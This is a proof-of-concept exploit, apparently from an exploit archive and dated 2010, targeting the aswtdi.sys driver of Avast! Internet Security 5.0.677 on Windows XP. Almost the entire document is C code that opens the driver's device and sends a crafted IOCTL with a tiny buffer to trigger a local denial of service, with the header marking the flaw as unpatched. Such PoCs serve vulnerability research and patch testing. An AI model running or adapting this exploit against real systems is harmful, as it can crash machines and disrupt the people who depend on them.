Avast! Internet Security - aswtdi.sys Local Denial of Service (PoC)

/*
# Exploit Title: Avast! Internet Security aswtdi.sys 0day Local DoS PoC
# Date: 2010-11-04
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.avast.com
# Version: up to date, version 5.0.677, aswtdi.sys version 5.0.677
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <io.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <share.h>


int main(int argc, char **argv)
{
    HANDLE   hDevice;
    DWORD    cb;
    void        *buff;
    int len = 0;
    int pfh;
    int outlen = 0, inlen = 0;
    DWORD ioctl = 0x800515A8;
    char deviceName[] = "\\\\.\\aswTdi";

    if ( (hDevice = CreateFileA(deviceName,
                          GENERIC_READ|GENERIC_WRITE,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf("Device  succesfully opened!\n");
    }
    else
    {
        printf("Error: Error opening device \n");
        return 0;
    }

    cb = 0;
    buff = malloc(0x2000);
    if(!buff){
      printf("malloc failed");
      return 0;
    }
    memset(buff, 'A', 0x2000-1);
    ioctl = 0x80000004;
    inlen = 4;

    outlen = 4;
    DeviceIoControl(hDevice, ioctl, (LPVOID)buff, inlen, (LPVOID)buff,
outlen, &cb, NULL);
    free(buff);

    printf("done!");
}